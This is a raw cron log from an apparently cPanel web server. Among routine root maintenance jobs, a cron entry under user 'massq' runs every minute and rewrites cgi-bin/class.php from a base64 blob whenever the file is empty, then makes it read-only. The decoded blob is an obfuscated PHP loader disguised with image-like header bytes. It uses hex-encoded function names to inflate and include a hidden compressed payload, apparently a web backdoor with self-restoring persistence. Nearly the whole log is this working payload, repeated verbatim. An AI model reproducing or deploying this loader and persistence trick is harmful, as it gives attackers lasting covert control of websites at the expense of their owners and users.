Nov 13 04:33:01 server CROND[22217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:34:01 server CROND[23109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:35:01 server CROND[23887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 04:35:01 server CROND[23889]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 04:35:01 server CROND[23888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:35:01 server CROND[23893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:35:01 server CROND[23890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:36:01 server CROND[24809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:37:01 server CROND[25664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:38:01 server CROND[26636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:39:01 server CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 04:39:01 server CROND[27543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:40:01 server CROND[28410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 04:40:01 server CROND[28411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:40:01 server CROND[28413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:40:01 server CROND[28412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:41:01 server CROND[29338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:42:01 server CROND[30275]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 04:42:01 server CROND[30276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:43:01 server CROND[31160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:44:01 server CROND[32179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:45:01 server CROND[579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:45:01 server CROND[580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:45:01 server CROND[581]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
